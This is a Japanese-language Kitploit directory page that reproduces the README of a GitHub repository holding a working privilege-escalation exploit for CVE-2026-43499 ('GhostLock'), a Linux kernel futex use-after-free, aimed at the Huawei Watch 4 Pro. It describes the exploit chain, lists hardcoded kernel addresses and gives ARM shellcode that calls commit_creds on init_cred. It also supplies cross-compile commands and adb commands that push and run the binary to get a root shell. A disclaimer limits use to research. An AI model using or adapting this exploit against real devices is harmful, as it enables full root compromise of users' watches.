Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ghostlock-cve-2026-43499 — CVE-2026-43499 (GhostLock) — Huawei Watch 4 Pro(カーネル 5.4.210)を標的としたLinuxカーネル futex PI rt_mutex UAF ARM32権限昇格研究 | Kitploit
ツール/GitHubGitHub/gitchw/ghostlock-cve-2026-43499
組み込みシステムセキュリティ特権昇格IoTセキュリティ脆弱性分析エクスプロイトリバースエンジニアリングペイロード開発バイナリエクスプロイト
GitHubgitchw/ghostlock-cve-2026-43499

ghostlock-cve-2026-43499

CVE-2026-43499 (GhostLock) — Huawei Watch 4 Pro(カーネル 5.4.210)を標的としたLinuxカーネル futex PI rt_mutex UAF ARM32権限昇格研究

リポジトリを見る
427929日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-43499 (GhostLock) — ARM32 カーネル権限昇格リサーチ

Linux カーネルの futex PI rt_mutex Use-After-Free 脆弱性に関するリサーチおよびエクスプロイト開発。対象は Huawei Watch 4 Pro (MDS-AL00)、Snapdragon SW5100、armv7l、カーネル 5.4.210。

脆弱性

kernel/locking/rt_mutex.c の remove_waiter() は、プロキシロックのロールバック時に waiter->task ではなく誤って current を使用しているため、waiter タスクの pi_blocked_on をクリアできない。これにより、waiter のカーネルスタックフレームが解放された後も、task_struct からスタック上に確保された rt_mutex_waiter へのダングリングポインタが残る — 典型的なスタック Use-After-Free である。

エクスプロイト戦略

  1. ダングリングポインタ — 3 つのスレッドにまたがる futex(FUTEX_CMP_REQUEUE_PI) によって EDEADLK ロールバックを発生させる。waiter の pi_blocked_on が解放済みスタックを指す。
  2. スタックスプレー(スタンプ) — prctl(PR_SET_NAME)(オプション 15、非特権)を使用して、制御可能な 15 バイトのデータをカーネルスタックにコピーし、偽の waiter の task/lock/prio フィールドを上書きする。
  3. 書き込みプリミティブ — sched_setattr() が PI チェーンウォークを発生させる。偽の waiter は、カーネルの file_operations 構造体と重なるように細工された rt_mutex にエンキューされる。赤黒木への挿入により、waiter のカーネルスタックアドレスが fops->unlocked_ioctl に書き込まれる。
  4. コード実行 — waiter を位置非依存の ARM シェルコードで再スタンプする。全ユーザーがアクセス可能なキャラクタデバイスを開き ioctl() を呼び出すと、上書きされた unlocked_ioctl ポインタを経由して、実行可能なカーネルスタック上のシェルコードへディスパッチされる。
  5. 権限昇格 — シェルコードは commit_creds(waiter) を呼び出す。ここで waiter の先頭フィールド(rb_insert_color によって設定される)が、uid/gid = 0 の偽の struct cred を形成する。

現在のステータス

  • UAF トリガー: 動作確認済み(実機で検証済み)
  • prctl によるスタックスタンプ: 動作確認済み
  • 単一カーネルスタックアドレス書き込みプリミティブ: 動作確認済み (waiter のスタックアドレスで fops->unlocked_ioctl を上書き)
  • カーネルスタックが実行可能であることを確認済み(BSS/スタック領域に PXN/NX なし)
  • コード実行および root 昇格: 動作確認済み (ioctl(null_fd, IOCTL_CMD, 0) 経由でシェルコードへディスパッチ -> commit_creds(&init_cred) -> root シェル)

対象デバイス

項目値
デバイスHuawei Watch 4 Pro (MDS-AL00)
SoCSnapdragon SW5100 (Cortex-A7, armv7l)
カーネル5.4.210 (32-bit ARM)
KASLR無効
PAN/SMAPなし
PXN0xc1b00000+ には存在しない(スタック/BSS が実行可能)
CFI/PACなし

主要カーネルアドレス

kernel base           0xC0008000
syscall table         0xc0101264
do_vfs_ioctl          0xc031c0ec  (fops->unlocked_ioctl call at 0xc031c8a0)
commit_creds          0xc014c898  (true commit_creds entry)
override_creds        0xc014cac8  (leaf helper immediately following commit_creds)
rt_mutex_enqueue      0xc019c660
rb_insert_color       0xc104a918
init_task             0xc1b11640
init_cred             0xc1b17e60
null_fops (/dev/null) 0xc141f5b0
FAKE_LOCK             0xc141f5d4  (null_fops + 0x24)
write target          0xc141f5d8  (null_fops + 0x28 = unlocked_ioctl)
IOCTL_CMD             0x01B17E60  (INIT_CRED + 0x40000000)

リポジトリ構成

.
├── README.md                  # Project documentation
├── boot.img                   # Target device boot image (32 MB)
├── exploit/
│   ├── ghostlock_arm32.c      # Main ARM32 exploit source
│   ├── ghostlock_arm32.h      # Exploit definitions header
│   ├── ghostlock_arm32        # Compiled static ARM binary
│   ├── ghostlock_poc1.c       # Initial crash POC
│   ├── nebula_poc.c           # Nebula team reference POC
│   └── variants/              # Research exploit variants & performance tests
│       ├── ghostlock_v11_kgsl_preadv2.c
│       ├── ghostlock_v6a_kgsl_getdents64.c
│       ├── ghostlock_v7_clock_adjtime.c
│       └── ...
├── kernel/
│   ├── kernel_raw.bin         # Uncompressed kernel binary (28 MB)
│   └── kallsyms_parsed.txt    # Extracted kernel symbol table
├── analysis/                  # Capstone/Keystone-based reverse engineering
│   ├── *.py                   # Disassembly and verification scripts
│   └── *.txt                  # Extracted tables and scan logs
├── references/
│   ├── ghostlock/             # Earlier exploit iterations & research notes
│   ├── ref_tc3650/            # TC3650 ARM32 reference materials
│   └── ref_oneplus_aarch64/   # OnePlus / Oppo AArch64 GhostLock references
└── tools/
    └── fetch_missing.sh       # Zig-based musl toolchain compilation script

ビルド

クロスコンパイル GCC または Zig を使用する場合:

# Option A: GCC cross compiler
arm-linux-gnueabihf-gcc -static -O2 -o exploit/ghostlock_arm32 exploit/ghostlock_arm32.c -lpthread

# Option B: Zig compiler
zig cc -target arm-linux-musleabi -O2 -static -o exploit/ghostlock_arm32 exploit/ghostlock_arm32.c -lpthread

実行

adb push exploit/ghostlock_arm32 /data/local/tmp/
adb shell chmod +x /data/local/tmp/ghostlock_arm32
adb shell /data/local/tmp/ghostlock_arm32

シェルコード設計

waiter+0x18 に配置される位置非依存の ARM シェルコード:

sub r0, r1, #0x40000000   @ r0 = ioctl cmd - 0x40000000 = &init_cred
ldr pc, [pc, #-4]         @ jump to commit_creds
.word 0xc014c898          @ true commit_creds entry
  • ioctl(null_fd, cmd, arg) が f_op->unlocked_ioctl(filp, cmd, arg) をディスパッチするとき、レジスタ r1 には cmd 引数が格納されています。
  • cmd = 0x01B17E60 を設定することで、sub r0, r1, #0x40000000(エンコーディング 0xe2410101、ヌルバイトなし)は r0 = 0xc1b17e60(&init_cred)を計算します。
  • commit_creds(&init_cred) は完全なケーパビリティとクリーンな SELinux セキュリティコンテキストを持つ root 資格情報をインストールし、do_vfs_ioctl(lr = 0xc031c8c0)へクリーンに戻ります。

file_operations レイアウトに関する注意

このベンダーカーネルの struct file_operations には、オフセット +0x24(poll と unlocked_ioctl の間)に余分な 4 バイトのフィールドがあり、標準の Linux 5.4 と比較して以降のすべてのメンバーが 4 バイトずれています:

+0x04 llseek        +0x20 poll
+0x08 read          +0x24 <vendor extra>
+0x0c write         +0x28 unlocked_ioctl
+0x10 read_iter     +0x2c compat_ioctl
+0x14 write_iter    +0x30 mmap
+0x18 iterate       +0x38 open
+0x1c iterate_shared +0x40 release

これは ashmem と null の fops ハンドラを逆アセンブルすることで検証されました。

免責事項

このリポジトリはセキュリティ研究および教育のみを目的としています。所有していない、またはテストの許可を得ていないデバイスでこれらの手法を使用しないでください。

ツールをダウンロード